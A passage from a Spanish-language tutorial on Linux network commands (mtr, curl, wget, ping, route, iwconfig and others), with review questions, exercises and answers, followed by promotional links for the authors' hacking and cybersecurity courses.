: Desactiva la resolución DNS para mostrar solo direcciones IP.-c [número]
: Especifica el número de pings enviados.--csv
: Exporta el resultado en formato CSV.
- Ejemplo práctico:
mtr -n example.com # Diagnostica problemas en la red.
7. Comando curl
- Herramienta avanzada para transferencias de datos y manejo de solicitudes HTTP/FTP.
- Opciones destacadas:
-O
: Descarga archivos con su nombre original.-X POST
: Realiza solicitudes POST.-H
: Añade encabezados HTTP.
- Ejemplo práctico:
curl -O https://example.com/archivo.zip # Descarga un archivo. curl --data "user=admin&pass=1234" https://example.com/login.php # Envía datos POST.
Aplicaciones avanzadas con curl
- Interacción API:
curl --header "Authorization: Bearer TOKEN" https://api.example.com/data
- Fuzzing para detectar vulnerabilidades:
Generar URLs largas o modificar parámetros POST para probar límites de servidores.
Conclusión
El artículo abarca herramientas esenciales para administrar sistemas Linux y realizar pruebas avanzadas en redes, dominios y aplicaciones web. Desde consultas DNS hasta análisis de tráfico y pruebas de seguridad, estos comandos son fundamentales para la administración y auditoría en entornos modernos.
Pon en práctica lo aprendido
Ahora pon a prueba lo aprendido con estas preguntas y ejercicios.
Preguntas sobre los comandos de red en Linux:
- ¿Qué comando se utiliza para consultar la información DNS de un dominio y cómo se ejecuta?
- Explique la diferencia entre los comandos
traceroute
ytracepath
. ¿Cuándo usaría uno sobre el otro? - ¿Qué comando reemplaza a
ifconfig
en las versiones modernas de Linux y cuáles son sus ventajas? - ¿Cómo se puede comprobar la conectividad entre dos nodos utilizando un comando básico?
- Mencione tres usos prácticos del comando
ping
y explique cada uno. - ¿Cómo se muestra la tabla de enrutamiento de un sistema utilizando el comando
route
? - ¿Cuál es el propósito del comando
iwconfig
y en qué se diferencia deifconfig
? - ¿Qué hace el comando
curl
y cómo se diferencia dewget
? - ¿Cómo se puede limitar la velocidad de descarga utilizando el comando
wget
? - ¿Qué ventajas ofrece el comando
mtr
sobreping
ytraceroute
al realizar diagnósticos de red?
Ejercicios sobre los comandos de red en Linux:
- Ejecuta el comando para consultar los registros MX de un dominio de tu elección utilizando
host
. - Realiza un
ping
a una dirección IP o dominio, pero establece un límite de 5 paquetes enviados. - Utilizando
curl
, descarga un archivo desde una URL específica y guárdalo con un nombre diferente. - Configura una interfaz inalámbrica para conectarse a una red Wi-Fi con SSID “RedPrueba” usando
iwconfig
. - Obtén las estadísticas de conexión TCP y UDP de tu sistema utilizando
netstat
oss
. - Genera un informe de traceroute para el dominio
google.com
utilizandomtr
y exporta los resultados en formato CSV. - Usa el comando
route
para agregar una nueva ruta estática a través de una puerta de enlace específica. - Realiza una consulta
whois
sobre un dominio conocido y analiza los datos del propietario. - Con
tracepath
, encuentra los saltos hacia el servidor de un dominio y explica el resultado. - Utilizando
wget
, descarga un sitio completo de prueba y analiza cómo se almacenaron los datos localmente.
Respuestas a las preguntas:
- Comando para consultas DNS:
- Se utiliza el comando
host
. Ejemplo:host ejemplo.com
muestra las direcciones IP asociadas al dominio.
- Se utiliza el comando
- Diferencias entre
traceroute
ytracepath
:traceroute
requiere privilegios de root y usa UDP por defecto.tracepath
no requiere permisos especiales y está preinstalado en muchas distribuciones modernas.
- Reemplazo de
ifconfig
:- El comando
ip
reemplaza aifconfig
. Ventajas: mayor funcionalidad, compatibilidad con IPv6 y comandos más flexibles.
- El comando
- Comprobación de conectividad:
- Usando el comando
ping
. Ejemplo:ping google.com
.
- Usando el comando
- Usos prácticos de
ping
:- Comprobar si un servidor está en línea.
- Medir la latencia de red.
- Diagnosticar problemas de conexión.
- Mostrar la tabla de enrutamiento:
- Ejecutar
route
oip route
.
- Ejecutar
- Propósito de
iwconfig
:- Configura interfaces inalámbricas, ajustando parámetros como SSID, frecuencia y clave de seguridad. No trabaja con redes cableadas.
- Diferencia entre
curl
ywget
:curl
permite transferir datos de múltiples protocolos y trabajar con APIs.wget
se enfoca en descargas recursivas y es más simple para sitios completos.
- Limitar velocidad con
wget
:- Opción
--limit-rate
. Ejemplo:wget --limit-rate=200k URL
.
- Opción
- Ventajas de
mtr
:- Combina funciones de
ping
ytraceroute
, mostrando estadísticas en tiempo real y detectando problemas de red de forma más detallada.
- Combina funciones de
Respuestas a los ejercicios:
- Consulta registros MX con
host
:host -t mx ejemplo.com
Esto muestra los servidores de correo asociados al dominio. - Limitar paquetes con
ping
:ping -c 5 8.8.8.8
Envía 5 paquetes ICMP al servidor. - Descarga con
curl
:curl -o archivo_nuevo.html https://example.com
Guarda el contenido de la URL comoarchivo_nuevo.html
. - Configurar Wi-Fi con
iwconfig
:iwconfig wlan0 essid "RedPrueba" key s:clave123
- Estadísticas TCP/UDP:
ss -tun
Muestra conexiones activas de TCP y UDP. - Informe de traceroute con
mtr
:mtr -r -c 10 --csv google.com > informe.csv
Genera un informe en formato CSV con 10 ciclos de ping. - Agregar ruta estática:
sudo route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
- Consulta
whois
:whois ejemplo.com
Proporciona información del registrador, fechas y más. - Saltos con
tracepath
:tracepath google.com
Muestra los nodos en la ruta hacia el destino. - Descarga de sitio con
wget
:wget -r -p -k -np https://example.com
Descarga el sitio completo, incluyendo archivos CSS y JavaScript necesarios.
No te detengas, sigue avanzando
Aquí tienes un propósito que debes considerar seriamente: si has querido mejorar tus habilidades en hacking, Ciberseguridad y programación ahora es definitivamente el momento de dar el siguiente paso. ¡Desarrolla tus habilidades aprovechando nuestros cursos a un precio increíble y avanza en tu carrera! El mundo necesita más hackers…
- Cómo conseguir trabajo de hacker en 2024
- Trabaja remoto e internacionalmente como Hacker en 2024
- Se necesitan más Hackers – Hechos y estadísticas de 2024
- Se Necesitan más Hackers – La escasez de habilidades en ciberseguridad está empeorando
- El salario de un hacker – Cuanto se gana como Pentesters/ Infosec
- Las empresas te estan buscando para hacerle frente a los ciberataques
- Cómo convertirse en analista de ciberseguridad
- Inicia en hacking y ciberseguridad como analista SOC
- DevOps vs DevSecOps para Hackers
- DevOps vs DevSecOps para Empresas
¿Te gustaría enterarte de cuando lanzamos descuentos y nuevos cursos?
Sobre los autores
Álvaro Chirou
Yo soy Álvaro Chirou, tengo más de 20 Años de experiencia trabajando en Tecnología, eh dado disertaciones en eventos internacionales como OWASP, tengo más de 1.800.000 estudiantes en Udemy y 100 formaciones profesionales impartidas en la misma. Puedes seguirme en mis redes:
Laprovittera Carlos
Soy Laprovittera Carlos. Con más de 20 años de experiencia en IT brindo Educación y Consultoría en Seguridad de la Información para profesionales, bancos y empresas. Puedes saber más de mi y de mis servicios en mi sitio web: laprovittera.com y seguirme en mis redes:
Hacker de 0 a 100 desde las bases hasta conseguir empleo
¿Quieres iniciarte en hacking y ciberseguridad pero no sabes por dónde empezar? Inicia leyendo nuestra guia gratuita: https://achirou.com/hacker-de-0-a-100-desde-las-bases-hasta-conseguir-empleo/ que te lleva de 0 a 100. Desde los fundamentos más básicos, pasando por cursos, recursos y certificaciones hasta cómo obtener tu primer empleo.
Hemos creado una ruta de 0 a 100. Un plan de desarrollo que va desde las bases: cómo aprender hacking, qué aprender, en qué orden; pasando por las areas técnicas necesarias como Linux, Redes, Programación y los conocimientos necesarios en ciber seguridad, hacking, pentesting hasta la práctica y el inicio laboral: Crear tu propio laboratorio, certificaciones, adquirir experiencia e iniciarse laboralmente.
Este es un mega post. Una guía con más de 250 artículos que te llevaran por el camino del hacker. Esta guía es gratuita y esta creada gracias al esfuerzo y al trabajo combinado de Alvaro Chirou y mío (Laprovittera Carlos).
Creamos esta guía (futuro curso) para que puedas iniciarte en este mundo. Puedes arrancar ahora, GRATIS, solo necesitas un PC, conexión a internet y paciencia (Ser hacker NO ES un camino de la noche a la mañana).
El Hacking y la ciberseguridad es una carrera divertida, emocionante y gratificante que te recompensará y desafiará por igual. Sin embargo, para quienes buscan adentrarse en este campo en auge y en constante evolución, puede resultar difícil saber por dónde empezar. ¡Ahí es donde entra en juego nuestra guía en ciberseguridad!
Esta es la hoja de ruta hacia el trabajo de ciberseguridad de tus sueños. Te ayudará a entender qué conocimientos, habilidades y certificados son necesarios para alcanzar tus metas profesionales y tener una carrera próspera. Si quieres ser consultor de ciberseguridad, analista de malware, evaluador de penetración, analista de SOC o cualquier otro puesto de ciberseguridad, esta guía es lo que necesitas.
SIGUE APRENDIENDO GRATIS CON NUESTRAS GUIAS
- Cómo Iniciarse en Hacking y Ciberseguridad en 2024
- Hacker de 0 a 100 desde las bases hasta conseguir empleo
- Curso de Redes para Hackers
- Curso Gratis de Programación
- Curso Gratis Linux – Capitulo 1 – Introducción a Linux
- Curso Gratis de Redes – Capitulo 1 – Tipos de redes y servicios
- Guía de Hacking y Pentesting capitulo 1: Introducción al Pentesting
- Como iniciarse en TRY HACK ME – Complete Beginner #1
- OSINT #1 Más de 200 Search Tools
- Curso Gratis de Java para Hackers
- Hardware para Hackers – Los mejores 40 Dispositivos de Hacking
- Guía de Flipper Zero – Qué es y para qué sirve
- SIGUE APRENDIENDO GRATIS EN NUESTRO BLOG
Aprende con nuestros más de 100 cursos que tenemos disponibles para vos
Compartimos estos recursos para ayudar a la comunidad de hacking y ciberseguridad. COMPARTE y Siéntete libre de agregar más sugerencias en los comentarios a continuación, respondemos todos y cada uno de los comentarios.
Saludos amigos y happy hacking!!!